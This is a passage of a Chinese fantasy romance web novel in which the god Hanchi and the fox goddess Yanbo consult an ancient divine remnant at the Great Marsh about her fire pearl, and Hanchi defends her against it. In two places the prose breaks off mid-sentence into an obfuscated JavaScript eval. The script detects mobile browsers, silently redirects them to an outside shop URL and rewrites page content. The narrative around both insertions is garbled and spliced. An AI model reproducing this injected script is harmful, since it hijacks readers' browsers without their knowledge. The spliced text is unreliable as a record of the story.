烟波本只是触景生情,听到寒池接话,心中顿生警觉,不想让他误会自己这就屈服了他,沉下声强行打破了两人难得静谧的气氛: “这件事已了,回去以后,你要怎样处置我?” 听她语气不善,寒池说出口的话也转了方向,敛目道:“还没想好。” 烟波再没有回头,转身跳出了香囊。 40.此心甚慰 阿饶觉得自己做了一个很长的梦,梦里有人一直抱着自己,抱得好紧。她的身上有股香气,和娘亲身上的一点都不一样。 “你可算是醒了,真是吓死人了! 他一醒来就看见娘亲坐在床边,不住地抹着眼泪。父亲很生气的说他到处生事,却也只是骂了两句便走了。 阿饶本来做好了被父亲痛骂半个时辰的准备,没想到这么轻风细雨的就过去了,忍不住小小的雀跃起来。 他瞥见屋内一处摆了一盆小小草木,通身雪白,嫩幼的小叶泛着皎皎的光芒,还带着一股清凉香气。 “这是什么?”他问。 常伴他左右的仙童道:“这是等闲境的寒池上神送来的赔礼,听说是等闲境的灵木嫩枝,放在室内可为小仙君定神。 等闲境……等闲境?! 阿饶睁大眼睛,翻身腾得坐起:“就是那个提了个妖精上天的上神?” 小仙童点点头:“可不是!这次还是他带着那狐狸精送仙君回来的呢。” 阿饶眼睛瞪得更大了,抓着小仙童一个劲的问:“那狐狸精长什么样?” 他老早就听到那只传说中的狐狸神女了,娘亲还与亲戚们讲过此狐的八卦。听闻这狐狸精狡猾非常,又擅长媚人,哄得寒池上神为她上天入海,得罪白民国也在所不惜。 虽然阿饶尚不明白“媚人”是什么意思,但一定不是个好词。上次寒池上神专门为她作宴时,爹娘嫌他年纪小不带他去,全天上恐怕就他没见过,这才偷拿了父亲的破解法器,溜进了等闲境。 没想到连半个影子都没见到就被送回来,这叫他怎么能甘心! 小仙童被他问得发懵,只得挠着头回:“我也不知道,上神不让我们乱跑的。” “没人看到吗?”阿饶追问。 “没……没,听说那位上神和神女将小神君送回来就匆匆回西海了。” 那他还是没看到啊! 阿饶更郁闷了。 解行骂完儿子,嘱咐夫人好好照顾。夫人打趣他道:“怎么今天骂了两句就打住了?终于懂得心疼儿子了?” 他今日骂到半截就打住,也觉得有点不痛快:“我何曾不懂得心疼阿饶?不过是他实在太闹腾了些!” 心中却想的是寒池来赔罪时对他讲的话:“西海之事非同小可,若非阿饶,我也不能潜入西海,撞破这等骇人听闻的惨案。府上公子定要记个首功。” 这位上神除了中了那狐狸精的邪,其他地方还真是没得说。 天上风平浪静太久,西海珊瑚一出,天君闻之震怒,九天上下为之震荡。事出西海,西海的倒霉帝君火速带着一家上天领罪,挨完批后又火速带着一干神君回西海戴罪立功去了。 那架势和速度真如火烧屁股一般,天界一时议论纷纷。据说那片黑雾迷境飘忽不定,众神寻了好久都没有找到,得亏夔元镇在那里,这才引得去路。 然而珊瑚吞食的众神怨念太深,吸收了琉真的内丹又使珊瑚煞性大增,更加难以超度,若要硬来,只恐被噬众神就此魂魄堕落,沦为魔道,干脆上天拖了寒池下来,指望他想个法子。 寒池二下西海,却也只能拔除大半煞气,西海帝君愁得胡须都掉了几根,擦把老汗便又要提了袍子上天领罪。 “父君。”夔元早已变回人身,见帝君又要上天,连忙叫住了他。 “寒池上神走时特意叮嘱要将它转交父君。” 夔元掌心摊开,手心是一片黑色碎石。 “这是……” “这是那妖孽的内丹碎片,听她说有人将这碎片嵌入内丹,才让她能操纵珊瑚。上神说自己不通水性,不能看出这碎片的玄机,还望父君勘破。” 帝君拿着碎片凝视许久,也未曾看出什么来。他摇摇头道:“我也看不出,只得待上天后寻诸位帝君一起琢磨了。” “另外,上神说他来西海之时,曾被一只鳖精引到岔路上,恐怕要对他图谋不轨。不知与这珊瑚妖孽是不是一路人马。” “此话当真?” “上神所言,不会有假。” 在他西海,一日之内竟发现了两处加害神明的妖怪?! 帝君气的胡子倒竖,在原地踱来踱去。珊瑚一事,天君已怪他失职,若再知道还有一处吃神的精怪,他这个西海帝君还有何颜面见人! “并且不论是鳖精,还是那珊瑚里的鱼精,都对上神提到了他们有万年净水。” “是我们家世代守卫的万年净水?”西海帝君两眼一黑。 夔元神情凝重的点点头。 这下不光在自己眼皮子底下被吃了这么多神仙,连自己家祖传的宝贝都被挖了,想到这,帝君连气都顾不上生了,急问道:“上神现在何处?这消息他与九重天通报了?” “上神回等闲境去了。此事他隐下不发,只告诉了我,实在是为我们西海着想,只叮嘱我们要赶紧处理干净。” 帝君当然知道是什么意思,这完全是因为寒池与夔元交好的缘故才得以截住消息。 望着平静的西海,他喃喃叹道:“我们承了上神这么大的情,日后定要好好报答。” 夔元点头称是。 “我这就去见上神。此事重大,你叫你妹妹们这些时日去净水之渊严加巡逻镇守,万不可懈怠。” 夔元面露迟疑:“妹妹们尚小,叫她们守着凶险之地,儿子觉得未必妥当。” “你莫要心疼她们,生为龙族后裔,就要担这职责。” 丢下这话,西海帝君随即转头直奔寒池的等闲境而去,他一路风风火火地奔来,却扑了个空。 境内浓雾紧锁,唯有一只白鹤静静立着。 “人呢?”西海帝君四处张望。 白鹤额头一抹鲜红,它抖抖脖颈,不知是何意思。 于此同时,烟波和寒池已一前一后的在去往大泽的行云之上。 寒池此时已经新换了一身青衣,早前衣裳被血染的已看不出颜色来,回来便烧掉了。 烟波见他面色青白,不知现在行云他胸口的大洞里会不会呼呼贯风,可她惦记着御炎珠,到底还是把到嘴边的的问候咽了回去。 “想说什么。”从寒池的后脑勺甩出一句话。 果然他在偷偷摸摸的看自己!烟波撇撇嘴,只道:“御炎珠不是在你雪斋的井里吗,怎么还带着我出了等闲境。如果想杀人灭口,把我推去井里还方便些。” 狐狸嘴里也吐不出象牙。寒池已经习惯了烟波的冷嘲热讽,他不为所动道:“我的井里化不了骨头,太麻烦。” 这就是撕破脸皮的好处了,两个人又回到了初见时的相处状态,抓紧一切能肆无忌惮说对方坏话的机会,生怕落了下风。 寒池改看那身侧的浮云,卷舒白云后,是连绵的青山,愈往前行,山的颜色越是深沉,两人一时无言,只顾闷头疾走。 待到发觉身后没了动静,只见漫天云山雾海。 “神女?”寒池出声问道。 烟波在浓稠的白雾中穿梭,寒池在前行的太快,她看不到他的青色背影,倒是一低头就看到不知打哪来了一群男女嬉闹着四处张望,热闹极了。 待到寒池返回找到她时,她还慢悠悠的伏在云头,盯着下面的这群人看个不停。 “又不急着找珠子了?” 烟波拂去额头的碎发:“你故意走这么快,我追不动,迷路了。”她指指下面问道:“下面在开席吗?” 寒池向下看了一眼,这群人只顾着东走西走,队伍很快散的不成样子,领头的年长仙娥只好时时催促规束。 他道:“应该是新飞升功成的一批修仙者,有仙使指引他们,不日会安排他们职务。” “从凡人修成的?”烟波来了兴致。 “三界皆有。” “希望他们别当成我这样憋屈的神仙。”烟波随手拈起鬓边新簪的芍药花,从中摘下一片来。 看着它轻飘飘的隐入了这片滚滚云海,如同自己孤身一人坠入这清冷的九重天,心中酸涩。 解佼感到什么东西在头顶打旋,多年的驱妖经验让她本能的挥袖向头顶劈去。 她仰头伸出了手,只接过了一片被劈成两半的花瓣。她看着掌心自嘲的笑了,这里已经是九重天,是自己太过紧张了。 见师姐停下不知在想什么,走在前头的少女冲她挥手叫道:“师姐,愣什么神啊,快点过来啊。” 她们是拜在同一门下修仙的师姐妹,极难得的从小一起修行,竟又一同飞升分在一处。少女声音稍大,引得同门纷纷侧目,解佼唯恐引人注目,连忙低低应了赶了上去。 少女一把挽上她的胳膊,笑嘻嘻的问她:“师姐,想什么呐?傻呆呆的。” “没,没什么。”解佼握紧花瓣,将手往袖子里藏。桂狄不信,仍盯着她瞧。 “我只是听到你们说的寒池上神,不知是怎样的人物。”解佼看桂狄不放过她, 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桂狄说到这里,眼珠子滴溜溜的转个不停,声音又低了两分:“你说……若是我有她的容貌本事,是不是也该在九重天上逮个神君补补‘仙缘’?” “别胡说,我们磨砺数年终成正果,为的是超脱外物,不是让你到天上嚼舌根的。”解佼皱眉。 桂狄见师姐沉了脸,连忙赔罪,她这个师姐一向安静持重,做事尤其认真,可同她开不得玩笑。 说者无心,听者有意,解佼不再看她,静静的望向远方被云雾笼罩的如墨远山。 她曾斩杀过无数妖孽,其中属狐狸精最为她所不齿,狡诈奸猾,妖力孱弱,只能靠点歪门邪道谋生。而有人却能借此换了仙骨成为神女。 那她勤勤恳恳这么多年,又算什么? 仙界以能力定品职,上古神族天赋神力,自然容易身居要职。 而她们这些异族修仙的凡人想要有所成,就要逆天而为,付出千倍万倍的努力。即便苦修飞升九重天,多半打发去下界做个地方上的守护神,也就这样过去了。 身旁的师妹桂狄比自己年龄小了一截,天生灵气逼人,而自己苦苦修行多年,最终不过和师妹是一个程度。 仿佛有些人干什么都能信手拈来,举重若轻,而自己永远只能踮起脚拼命去够,才能有勉强追赶别人的资格。 待到群山颜色如墨般浓重,寒池停住了云头。 烟波伸头细看,见群山黑的似墨,成环状静静地环抱着中间的一汪池水,好似一方砚台。 池水白如玉石,从中竟蒸腾出缕缕长云,这些云如丝般纤细游走,经太阳一照,便折出七彩的光晕来,映在游云上,烟霞漫天,蔚为奇观。 “这是什么地方?” 寒池下了云头,来到这池水边上。 “这是大泽。” 寒池掏出一颗珠子,颜色赤中带黑,放在手心滴溜溜的滚,触感一片火热。 他向烟波伸出手来。 烟波大吃一惊,本以为他要拿着御炎珠直到天荒地老,没料到竟如此痛快。 她略带警惕的探近,“嗞”的一声,只见指尖的珠子所触之处,皮肉尽数灼伤。 寒池将珠子又收回手中。 “果然没安好心。”烟波捂手作痛,质问道:“在我手上的时候它还是好好的,你对他做了什么?” 仔细看去,寒池也不敢实握着御炎珠,他的掌心造出结界,使珠子虚浮着。 “什么也没做。早在你封印之时,它已成了这样。” 呵,所以他拿到珠子的时间比她想象的还要早。 “此珠触手生热,通体赤红,皆不是祥兆。你之前见过这样的情况吗?” 烟波冷哼一声,摇了摇头,他可真好意思问。 她只知这是娘亲留下来的遗物,虽然常听人念叨它的威力,但平日除了用它逃跑,还从不知道它的故事。 寒池道:“我的法子对御炎珠都不奏效,所以带你到大泽祈问,兴许还有转机。” 波波同她讲过,大泽为众创世古神的坟冢,余留一息神识镇守,亦成为神卜之地,凡人来此祷祝长生,神仙到此祈问命道。 后不知何等原因,有不少人消失于此,因此人间通往大泽的通道被下令关闭,大泽成了完全的安息之所。有传言猜测,这就召唤神卜所付出的代价,近几万年间,再少有人敢前往此处。 烟波转身就走。 41.求神问卜 寒池愣了一愣,才想起把她卷了回来。 “你干什么?”他奇道。 “你打的好算盘,到时我消失了,你拿着珠子逃出去,对外只说召唤了神卜,岂不美哉?” 烟波奋力甩开寒池裹住她的息流,无奈自己水平太差,没跑两步被拎到了寒池跟前。 寒池点点头:“不如直接将你落在西海的鲸腹中,也省得现下多走一趟。” 好歹才在西海救了她的姓命,至少也该有所改观,然而现下她就跟完全忘了这回事似的,又将他视作天字第一号恶人。 虽然寒池竭力忍耐,但烟波心思敏锐,能轻而易举的捕捉到身边人的情绪,她见寒池这般莫名其妙的神色,立刻明白他是怎么想的。 她火从心起,指着他骂道:“是不是又觉得我不识好歹不懂你的苦心了? 我早就看出来了,这九重天传我蛊惑了你,你心里可委屈死了,觉得我污了你的清白毁了你的名声,自己可了不起可隐忍了,我呸! 这传来传去最后骂的还是我这个狐狸精,你倒成了痴心一片的情圣,崇高的很呢!别跟我摆出这幅样子。” 寒池没想到,随口一句话能召唤出烟波指着鼻子对他的一通好骂,一口气直冲灵台,饶是他两万年的修为功力也按不下去。 九重天人人讲究涵养,即便骂人也没有这样肆无忌惮的,让寒池毫无应对的经验,一时深恨自己是如此的口齿不灵,竟死活想不出回嘴的话,又劝自己绝不能与她一般见识,胸口不住起伏,手中的折扇都控制不住要化为夷骨剑。 “......我不同你讲。”寒池忍耐道。他面上看似无波无澜,心中却恨自己憋了半天就憋出来个这。 烟波没想到他竟不回骂,看来他也知道心虚,深觉出了口恶气,当下他强她弱,不宜再乘胜追击。 她捻指细细梳理垂下的鬓发,表示大人有大量,语气放缓,颇有种饶恕的意味:“知道就好,以后别老说些不着四六的话,听着就叫人来火。” 寒池最受不得她不阴不阳的腔调,本知该打住,却忍不住道:“当恶人当成我这样,也算是颜面扫地了。” 又开始了是不是,烟波眼睛一横,不客气的冷笑道: “猪养肥了才好杀,我们凡间人哪里比得上你们天上人,有颗‘七窍玲珑心’呦。” “我只有这个法子。去不去,随你。” 寒池的声音清冷如冰雪,吐出的每个字都似乎挂了霜。 烟波知道,她与寒池双方的实力与势力都高度悬殊,她又不能放弃御炎珠,无论他说的是真是假,自己其实根本没得选,只得乖乖低头。 二人暂且休战,寒池不疾不徐的从地上捡了两块黑色石子,将一块抛入池中。 黑石入白水处,搅动出一漩涡,那漩涡卷着波浪从水面凸起,越升越高,最后从中摇摇晃晃托举出一只小舟。 腾升的水波渐渐落下,小舟慢悠悠地荡在寒池跟前。 见他撩袍登船,烟波咬牙跟上。 船上无桨,带着他们往池心漂去。 听寒池说,这船叫自渡舟,带着他们越往池中央行,霞光云丝越盛,从身侧流抛向远处,仿佛在流光游云中漂荡穿梭,到了池中央,便停在原地打转。 烟波会水,却不喜欢在船上没有重心的感觉,隐隐有些不适之感。 只听“咚”的一声,身边那人又丢下一颗石子。 周身气氛陡然一变。 湖面平静如镜,周围默不作声,只有微风划过耳际的声音。 正当烟波半天等不到动静,渐渐放松下来之时,风声骤然大作,在耳边呼喝咆哮。 反观水面依然沉静,纹丝不动,自渡舟稳立于上。 仿佛她们并不是立于水面,而是立在镜面。 想起这茬,她摸出菱花镜,狠狠扔在寒池脚边:“我不要你的东西,还你!” 寒池连眼皮也没抬一下,只淡淡的道:“收回去吧,会用上的。” 烟波并不搭理,任由小小的镜子孤零零的躺在角落。 风突然停了。 一张看不见的网带着巨大的张力缓缓包裹住了二人,五脏六腑仿佛都被压住,烟波感到胸腔里像灌满了铁块一样沉重,连呼吸都难以为继。 “何…为…来…人?” 一道深沉之声从水底、又似从天边传来,声音非男非女,隐有回声在这空荡的天地反复回响。 一道悚意直击烟波的天灵盖,仿佛又被雷劫劈了一次,让她无法控制住自己的心神,膝头一软,不由自主的又是战栗的恐惧,又是兴奋的崇拜。 烟波暗自惊叹这里的威力之大,偷眼看旁边的寒池屏息凝神,似在等待什么,她也不敢放肆,费力的深吸一口气,紧张的死死盯住水面。 这不看还好,一看便把烟波吓得连连后退,险些跌坐在地。 水面上映照出一张和她同样的芙蓉面,那满脸惊恐的脸却开口说着完全与表情迥异的话语:“趁我还未苏醒,离开这里。” 烟波汗毛倒立,差点把原形都吓出来。 水中的倒影根本不是她。 寒池上前到她身侧,温声道:“这就是我不探头的原因。” “大泽是镜湖,在水上照出谁,就会用谁的脸传话。”他道。 “你是故意不早说的吧?”听出他语气忽然轻快,烟波恨恨道。 他装作没听见。 烟波来了劲:“这就是你不探头的原因?怎么,是不愿面对自己的嘴脸?” 说着就要拽着寒池往水边探。 “何人在我大泽放肆!” 那声音又来了,引来狂风大起。 寒池忙按下烟波的脑袋致意:“等闲境小神寒池、神女柳烟波无意打搅,还恳请诸神宽宥。” 半晌,空中的风才止住。 那个声音又道:“一株残树、一只野狐?现在的仙界都同尔等一般了吗?” “失礼了,只有我二人最不懂礼数。” 话音未落,脚下的自渡舟“喀嚓”作响,烟波抬头瞧去,发现此时的湖水不知在何时已变成了一块坚硬冰面,并在船底破出簇簇冰柱,宛如一座不断疯长的冰山,将这小舟拱向半空。 只一眨眼的功夫,离湖面已有千丈,硬是将自渡舟变成了独属于她二人的悬崖峭壁。 “此为前人的永息之地,尔等如何进来?” 烟波此时的心肺似乎也随着这声音的高低起伏而颠来倒去,她修为浅薄,无法能像寒池一般稳住,凭着肉身的本能习惯扒着船边便要吐个干净,无奈吐不出东西,只能难受的不住干呕。 这就是上古真神的威力,仅余下一丝遗念便能将人之生死拿捏在掌寸之间。 “我们并非无故闯入。”寒池行了个烟波从没见过的手势,似在完成什么仪式。 他朗声道:“句芒真神曾告诉我进入之法,此物事关上古诸神,非大泽不可解,因此不得不来叨扰。” “句芒和你是何关系?” “句芒真神是小神师尊。” “难怪你知道召唤吾等之秘法,拿出来吧,吾可以感应到它的存在。” 随着这声音渐渐放缓,烟波的心神也随之平稳下来。寒池看了她一眼,将御炎珠轻轻放在冰面。 只听那倒影“咦”了一声,随之消失不见,这无边无际的镜湖以御炎珠为中心,瞬间被浸成了和珠子一样的火红,仿佛一滴朱砂晕染纸面。 烟波定睛再看,染红湖水的不是颜色,而是冰面透出的火红丝发。 “这?”烟波回头用眼神询问寒池,却没想到寒池双眼睁大,露出烟波从未见过的愕然之色。 烟波连连唤了他数声,才将出神的寒池拽回现实。 寒池猛地转头,紧盯着烟波不放:“这颗珠子,真是同你一起生出来的?” 他果然知道! 烟波惊诧,他究竟还瞒了她多少东西? “是又怎样,你先回答我,你是怎么知道这珠子的来历的?你是何时知道的?凭什么不告诉我!” 见寒池不答,烟波更加气愤,上前一把拽住了寒池的领口,硬逼着他直视自己的眼睛。 她大喊:“回答我!” 消失的神识忽然出声:“大泽拥有万生万物的倒影,这珠子被康回填满,确是上古之物。” 寒池看着烟波近在咫尺的灼灼双眼,一字一顿的对着她低声道:“我会回答你的,眼下不是解释的时候,先松手。” 察觉到寒池想拨开她的手,她正气得上头,千般不愿他和自己有所接触,抢先一步甩开了手。 寒池转而询问神识:“此珠已异常灼热百余年,无人能够触碰,是否代表着康回的残念也有异动?” “始终不息,并非异动。” “等等!”烟波终于忍受不住的出声:“你们云里雾里的在说什么啊?这珠子是我打娘胎里就带出来的,日日不离我身如同内丹,怎么就成了上古之物?康回又是哪位?” 寒池道:“共工氏的康回。你的《上古神异谱大系考》应当背过了。” “怒触不周山的那个共工?” 烟波听寒池拷问她功课,下意识的心虚想低头认错,打了个磕绊才反应过来,现在自己已今时不同往日,又瞪了寒池一眼。 她记得共工被形容为人面朱发,蛇身人手足,所以这一湖面的头发……就是共工的头发? 神音从水底消失,来到半空,似是对烟波来了兴趣,问道:“小狐狸,汝说珠子是跟汝一同从娘胎里带来,汝今年几岁?” “死之前大概活了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他的复生,会再次动荡周天吗?” 没有回答。 寒池问完便知失言,此等天机,岂是一缕残存的神识可答。 烟波见寒池沉默下来,心中不解,即便康回复生,这天上人间早已换了几轮,物是人非,早已不是他能折天柱的时候了,还不如这倒霉珠子来得重要。 她朝着神音的方向郑重的跪下,深深一拜,沉声道:“这珠子是我母亲伴我出生的遗物,小仙盼众神垂怜,传授我御炎珠的复原之法!” 寒池见烟波恳切的样子,预感不佳。 康回复生,是三界一等一的大事,多位上古神祇因他陨落于大泽之底,其中恩仇牵扯太多,并不是烟波的一句“遗物”便能收回的。 既然御炎珠是共工全族的神髓所在,又能感应到康回生死,那么康回势必有一天要夺回它。 神音怜悯道:“小狐狸,汝在幽陵或是不距山出生?” 幽陵是共工氏的流放之地,不距山是康回的埋葬之所。 这句话很重,回响在望不见边际的湖与天之中;这句话声音又很轻,好像烟波耳畔的呢喃,似一只温柔的掌轻抚她的发旋,有只蓬松的大尾巴将她圈在肚皮上,浑身都是绒绒的暖意。 多少年了,烟波再次拥有了母亲的一个瞬间,她不由自主的怔怔落下泪来。 见她仙基不定,被神音左右了心神,寒池微微皱眉,轻轻将手搭在烟波肩头,随之传来一股清凉。 烟波恍然惊醒,她一边拭泪,一边摇头:“您说的都是灵山圣地。我出生在一片荒林子里,从落地到懂事都是在那儿,不曾换过住处。” 半晌,神音落下了结论:“事关重大,凭汝二人之力无法复原。康回随时可能夺取御炎珠,再次挑战九重天,此珠乃罪恶之源,必须随吾等一同沉睡。” 话音刚落,只见原本浮在半空的御炎珠顷刻就要沉入湖面,冰面下的长发随之翻涌,似火焰燃烧。 “喂!把珠子还来!” 烟波急忙从高空的自渡舟中飞落,抢在御炎珠坠入冰面的前一秒伸手,强忍着被灼伤的剧痛,硬是将它夺了回来。 直到她舒展掌心,才发现双手已被被御炎珠烧的伤痕累累,掌心的皮肉焦黑,与流出的鲜血混作一团,血糊糊的黑红一片。 可即便如此,烟波依然死死攥着御炎珠,任凭鲜血蔓延,也不肯放开。 此时,她的瞳孔突然放大,头顶有股力量登时铺天盖地的倾压下来,将她的心脏捏成一团。 她根本承受不住,被直直拍到了坚硬的冰面上,发出“咚”的一声巨响。 42.殉情 手掌被灼伤出的血迹与冰面下的赤红融为一体,只要有任何试图爬起的动作,立刻会被重新拍倒在地。 她挣扎几次,终于没了力气,全身蜷缩着,将御炎珠护在心口,紧闭着眼等待下一次袭击的到来。 然而,痛苦却没有如期而至,只有风声擦过耳边。 “你身为句芒弟子,也要和她一样胡闹吗?” 烟波艰难的睁开双眼,一个衣袂飘飘的背影挺身挡在她面前,那人长发飞扬,为她撑出了一个小小的光罩。 这光罩越受压越迸出炫光,将整个大泽映作炫白一片,显然是已承压到了极点。 寒池凛然道:“我已答允她复原御炎珠,您不能动她。” 她的瞳孔骤然缩紧,他...... 他的脸庞被炫光照的雪白,被扭曲的气压逼得微眯起眼: “据我所知,您只是驻守的一缕神识,连诸神的千万分之一都不及,除了震慑心神,并无能力处理这般强大的神髓,如何能压制御炎珠?” “汝在质疑我?” “您并无复原此珠的办法,还请放我二人归去!” “此为康回毕生之神髓所在,邪恶之源,汝切勿为了一己私欲,致使上下三界重蹈覆辙!” 寒池怔然,他的私欲? 这里的一切在神识下皆无处遁形,而他应当是此处最无私欲之神。 可是,他却莫名的在意起这两个字来。 光罩微微波动,神识窥得破绽,瞬间将光罩压碎大半。 伴着光屑飞溅,神识在空中大笑:“小心了,欲念越深,在这里就越危险。” 寒池忙收敛心神,指尖飞出一印记附在光罩残片上,登时有千亿银花开枝散叶,仿佛飞针走线一般弥合每条缝隙,将整个光罩覆在其下。 无形的神压重重落在每片娇弱的花叶,烟波只看见漫天银花簌簌而下,如一场大雪染白了天地。 有了寒池的结界抵挡,强压在烟波身上的力量渐渐被移开。 她啐出一口鲜血,跌跌撞撞的站起,用尽气力捏诀为御炎珠做一屏障,死死的圈在手中。 不知是否因为沾血的缘故,御炎珠看起来红的更加惊人,仿佛一丸血色的夕阳被握在手中。 烟波一步一步,缓缓走到寒池身侧,与他并肩而立。 寒池皱眉:“你退下。” 身边却不见动静,只传来两声轻笑。 “足够了。你费尽心机才骗到了御炎珠,总算是老天有眼,叫你鸡飞蛋打!这珠子从头到尾都是我的私物,再不需你插手。” 寒池愕然睁大双眼,侧头看她。 她却转过头,虚弱的向神音的方向道:“听到了么,我可不要他假做好人。想要御炎珠,只有我的话才算数!” “蠢不可及!没有他护着,你当自己能活得过一刻?” “听闻您是古神遗念,素来垂爱后裔,小仙总信您会怜我几分的。” 此时天地一白,寒池亦着素衣,唯有柳烟波一身茜色,衣袂翩飞,像一点随时要被吹熄的烛火,手中火红的御炎珠正是小小的焰心,立在风中摇曳,渺渺亦灼灼。 “小狐,你这般一意孤行,纵使天也难容你!” 烟波喘一喘气,露出一抹异样的微笑,脸上顿生神采,为本苍白的脸上添上几分艳色,她笑道: “天人以慈悲立身引我入道,烟波感念,若有难,定当奉上。可我却不曾见过强抢的上古诸神,无法心生敬重......所以我不服,不愿。” “放肆!”空中的声音震怒,平静的湖面登时裂作断崖,不断攀高,要将寒池和烟波夹在缝隙,远处隐隐有“咔嚓”响声,载他们而来的自渡舟已被挤得粉碎。 忽然,白光一现,烟波已被寒池迅速揽入怀中。 随即狂风呼啸,一柄夷骨剑从寒池头顶呼啸飞出,剑身翻转作横,贯穿间隙,让两边断崖无法再靠近。 寒池携着烟波轻轻立于剑身之上,感受着他紧紧环绕自己的那只手臂,烟波仰头看向他清隽的侧脸,怒道:“为什么?不是不叫你插手了吗!” “别以为神识是傻子,你以为这样就能撇清我?”他低低道。 烟波冷哼一声:“都说了少自作多情!我看是被我揭了老底,你个伪君子面上挂不住了吧。” “你的命是我给的,我不点头,就轮不到你来求死。” 寒池忽然正色道。 见他脸上露出从未有过的认真表情,烟波为之一震,气势也不自觉矮了一截,喃喃道:“就算为了自证,这样也足够了!再这样下去,我可真要欠你的了。” “啪”得一声,结界突然迸出一道裂纹,一女仙手持兽面金戟直直劈向结界。 她头戴玉冠,身着战袍,开口却是似男似女:“汝竟敢在大泽动用武器!” 他已放开了她,眼底快速闪过一瞥似笑非笑的光彩,随着他的香气一起滑过耳畔的,是一句:“恐怕你要还不起了。” 烟波怔然,只见他举起两指竖在眉前,口中轻轻念诀,随即爆出一圈光晕,将女仙圈在其中。 “好重的执念。” 他嗅到不寻常的气息,翻袖将夷骨剑从脚下召回,握在手中。 就在此时,那兽面金戟竟自发离身冲烟波掷去。 烟波现在已恢复了七八分,见躲避不及,正要掐诀格挡,只听空中铮然作响,一颗飞速划过的流星与金戟正撞作一团。 金戟偏离了轨道,深深扎入烟波脚边的冰面,蔓延出千百条裂纹。 而那流星也随之坠落,星尾缠绕在戟身,发出七彩的光芒。 她这才看清这根本不是什么流星,而是她的菱花镜,长长的星尾正是镜钮上的两条鲛纱。 之前丢在自渡舟上无人顾及,没想到这法宝已认定烟波做主人,竟不需召唤,自发保护主人。 这下烟波再也说不出不要它的话了,她伸出手想将鲛纱解开,没想到手指刚一碰到金戟,大戟登时化作一捧浮尘,随风消散。 “这是?”烟波诧异道。 女仙见此,一反刚才要同寒池拼命的模样,竟头也不回的拼命向远空逃去。 寒池立即撤了结界,只身快行追去,他的手甫一抓到那仙人的衣角,随着她的一声惊叫,整个人也同金戟一样,化作了一缕尘烟。 大泽顿时安静得像什么也没发生过。 烟波追了上来,不敢置信:“这就是神识的本体?” 寒池沉吟,神色凝重。 半空却传来熟悉的狂笑: “可笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782489|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神无处不在,怎可轻易被汝打倒!尔等已犯下弥天大罪,还不知罪交还宝珠!” 话音刚落,夷骨剑身发出“嗡”的一声剑鸣。 “我平生最不喜被人逼迫,越是逼问,越是抗拒。” 寒池将夷骨剑轻轻一弹,附在剑身的细尘被震出,露出剑刃上那一抹朱砂血色。 他随意的挽了个剑花,剑光映入眼睛,更显得双眸明亮如寒星。 此时风起烈烈,他被割破的衣角随之飘起,整个人立于这些脆弱无依的丝织之中,更显得挺直如破节的修竹,似一柄利刃将将出鞘,寒光不可逼视。 寒池嘴角扯出一个烟波从没见过的不羁浅笑:“逝者,还是少管阳间事方能安息,你说呢?” 烟波猛地瞪大双眼,盯着眼前仿佛从来不曾见过的神。 他不再使用尊称了。 寒池说完,仿佛是顺便想起些什么,信手朝虚空挥出一剑,一道闪电上至天、下至湖,统统被劈作对半。 冰山轰然倒塌,镜湖激起巨浪,与之落下与飞起的声音此即彼伏,宛若一重又一重的惊雷。 隔着冰屑形成的雨雾,烟波看不清他的脸,却始终看得到他的眸光闪动,分不清那是他的眼睛,还是寒冰被折射出的冷光。 雨雾落下,露出一双金绿色的眼睛,烟波愣住了。 上一次他换了瞳色,是为了镇压嗜仙珊瑚,这一次,他不应该是为了自己! 这样的陌生,叫她无法移开双眼,不肯错过他脸上任何一丝变化,忽然,他的眼底闪过一丝得意。 他在挑衅。 烟波听到自己心跳如擂鼓,她或许从未不认识他。 她想,这神识无论如何也想不到,她同它是一样的震惊。 即便三界再无知之人,也对共工怒触不周山的典故耳熟能详,虽然她不知御炎珠是怎么和康回扯上关系的,可她知道事情到了这个份上,寒池作为天界上神,定要遵从上古神旨处理御炎珠。 两人明明已经彻底撕尽了脸皮,哪怕为了自证清白,这个程度也早已足够,方才她便已做好寒池随时放弃的准备。 可这块死木头,正冲着上古诸神的神识挥剑相向......莫非他真是个木头脑袋? 虽然她早就打消了怀疑他的念头,可眼下不得不让烟波诡异的心思又动了。 毕竟除了寒池深爱着她,她的狐生之中没有第二个常识够用来解释此情此景。 即便在初见时他对她无意,可朝夕相处,又加之她的百般讨好,确实甚少有男子能抵挡得了她的魅力。 烟波越想越觉得在理。 “你这是弑神!” 神识震怒,从空中降下滚滚惊雷。 雷火将寒池的面孔照得雪白,他也只是伸出一只手撑出结界,道: “那又如何?” 她投向寒池的目光更加复杂了。 天色渐渐暗下来,阴沉沉的云层遮蔽了太阳,顷刻来到黄昏时分。 可仔细一看,这瞬间变幻的并不是重重乌云,而是由云缕组成的、庞大到足以遮天蔽日的一柄巨刃,正正直朝他二人头顶劈来! 此时此地势必要分出死活,烟波认定自己必死无疑,可这一刀劈到她二人头顶,岂不是寒池为她殉了情?!